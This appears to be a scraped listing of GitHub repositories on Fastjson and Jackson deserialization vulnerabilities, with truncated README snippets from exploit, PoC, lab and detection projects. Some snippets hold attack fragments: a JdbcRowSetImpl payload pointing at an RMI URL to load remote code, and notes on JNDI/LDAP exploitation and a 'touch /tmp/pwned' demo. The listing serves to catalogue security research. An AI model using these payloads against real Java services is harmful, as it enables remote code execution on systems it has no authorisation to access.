fastjson-cve

CVE-2026-16723 Reproduction Project Overview This project reproduces CVE-2026-16723 — a critical Remote Code Execution RCE vulnerability in fastjson 1.2.68 through 1.2.83. The vulnerability allows RCE under default configuration without requiring AutoType enablement or pre-existing classpath...

fastjson-CVE-2022-25845

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Fastjson Insecure Deserialization - Remote Code Execution

parseObject in Fastjson before 1.2.25, as used in FastjsonEngine in Pippo 1.11.0 and other products, allows remote attackers to execute arbitrary code via a crafted JSON request, as demonstrated by a crafted rmi-// URI in the dataSourceName field of HTTP POST data to the Pippo /json URI, which is...

FastJsonAutoTypeBypass

What's this This project is used for studying how to bypass fastJSON AutoType check. Gadget Info Mapping just for fastjson 1.2.47: package com.FastJson1242; import com.alibaba.fastjson.JSONObject; public class Poc public static void mainString argv String payload ="\n" + " "a": \n" + " "@type":...

0day

0day For reasons known to us, the original repository was deleted, but local repo were kept, forks and stars cleared But rest assured, it's still the original recipe, the original taste. In case of this issue,please Follow Me Education use only 中文 | English EXP, POC of various CMS, platforms,...

CVE-2020-10673

Vulnerability Description Recently, the Asiainfo Security Network Attack and Defense Laboratory tracked that jackson-databind has updated a JNDI injection blacklist class. If the jar package of this class exists in the project and the JDK version meets the injection version, remote code execution...

fastjson-cve-2026-16723

Disclaimer : This project is intended for security research and learning purposes in authorized environments only. Testing against unauthorized systems is prohibited, and users are solely responsible for any consequences of use. Fastjson 1.2.83 Remote Code Execution Vulnerability Analysis...

fastjson-jsontype-rce-lab

Fastjson @JSONType remote-JAR/FD-chain lab and detection This repository now preserves two distinct Fastjson research tracks: modern-fd/ is the recommended, marker-only reconstruction of the Fastjson 1.2.83 single-body remote-JAR/file-descriptor chain on Spring Boot 3, normal embedded Tomcat and...

CVE-2019-17564-FastJson-Gadget

CVE-2019-17564 FastJson + SpringFramework Gadget for Dubbo 2.7.3 Our full write-up is available at https://www.checkmarx.com/blog/apache-dubbo-unauthenticated-remote-code-execution-vulnerability Note that this is not an exploit ; it is a POC gadget chain used in an exploit used to demonstrate...

FastJson1.2.62-RCE

Fastjson=1.2.62 RCE Vulnerability analysis: https://www.cnblogs.com/tr1ple/p/12348886.html...

CVE-2026-16723

CVE-2026-16723 Exploit A standalone C++17 implementation for CVE-2026-16723 , a critical vulnerability affecting Fastjson versions 1.2.68 – 1.2.83. Requirements Linux or WSL on Windows C++17 compatible compiler GCC 7+ or Clang 5+ CMake 3.10 or newer System packages: libzip-dev zlib1g-dev Debian /...

fastjson-1.2.60-rce

Fastjson = 1.2.60 Deserialization Vulnerability By Pass autoType Block List with 2 Gadgets JNDIConfiguration, OracleManagedConnectionFactory Gadgets 经过测试，命中的4个文件都是可以利用的。 不过其中HikariConfig类就是前文提到的类，在最新版本被加入黑名单，JNDIConnectionPool类在42版本前就被加入黑名单了。 另外的两个类JNDIConfiguration和...

Fastjson-1.2.47-rce

Fastjson-1.2.47-rce version1.2.51 Remote Command Execution 1.2.24 "b":"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true Unknown version between 1.2.24-41...

CVE-2020-8840

CVE-2020-8840 Jackson-databind remote code execution vulnerability CVE-2020-8840 analysis and reproduction environment code. The project includes: jackson-databind, Fastjson payloads WebServer malicious class Compiled marshalsec-0.0.3-SNAPSHOT-all.jar Vulnerability Overview Jackson-databind remot...

fastjson-1.2.58-rce

fastjson-1.2.58-rce need: fastjson autoType is enabled h2 database and some jar . ├── fastjson-1.2.58.jar ├── h2-1.4.199.jar ├── jackson-annotations-2.9.8.jar ├── jackson-core-2.9.8.jar ├── jackson-databind-2.9.8.jar └── logback-core-1.3.0-alpha4.jar Download fastjson-1.2.58.jar...

fastjson-1.2.61-RCE

fastjson-1.2.61-RCE Ps： Officially, in https://github.com/alibaba/fastjson/blob/master/src/main/java/com/alibaba/fastjson/parser/ParserConfig.java, 0x7bddd363ad3998c6L i.e., 1.2.61 8925522461579647174 0x7bddd363ad3998c6L org.apache.commons.configuration.JNDIConfiguration was added to the blacklis...

cve-2019-14540-exploit

CVE-2019-14540 Exploit http://www.leadroyal.cn/?p=939 Environment limitation: This demo uses the jndi ldap exploitation method, so a low version less than 8u191 of the jdk is required. 1. Use marshalsec to create an ldap service on local port 1389, pointing to the http service on local port 8000...

fastjson-check

fastjson-check One command to find out whether your Java application contains fastjson, where it is hidden, and whether it is affected by CVE-2026-16723. Zero dependencies · Fully offline · A single 23KB jar · Supports Java 8+ English | Download Why you need it On July 21, 2026, the fastjson...

CVE-2022-25845-In-Spring

CVE-2022-25845-In-Spring Main Dependencies 1. jackson 2. commons-io Quick Reproduction 1. Import project into IntelliJ IDEA, build mvn install 2. Build and run Dockerfile docker build . 3. Run src/test/java/POC.java to execute the touch /tmp/pwned command Exploitation Guide Step1: Add...

fastjson-RCE

fastjson-v1.2.47-RCE Vulnerability Reproduction fastjson-1.2.47 == Resource Download: 下载 http://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.47/ 文档 https://github.com/alibaba/fastjson/wiki/%E5%B8%B8%E8%A7%81%E9%97%AE%E9%A2%98 源码 https://github.com/alibaba/fastjson/archive/1.2.47.zip jar...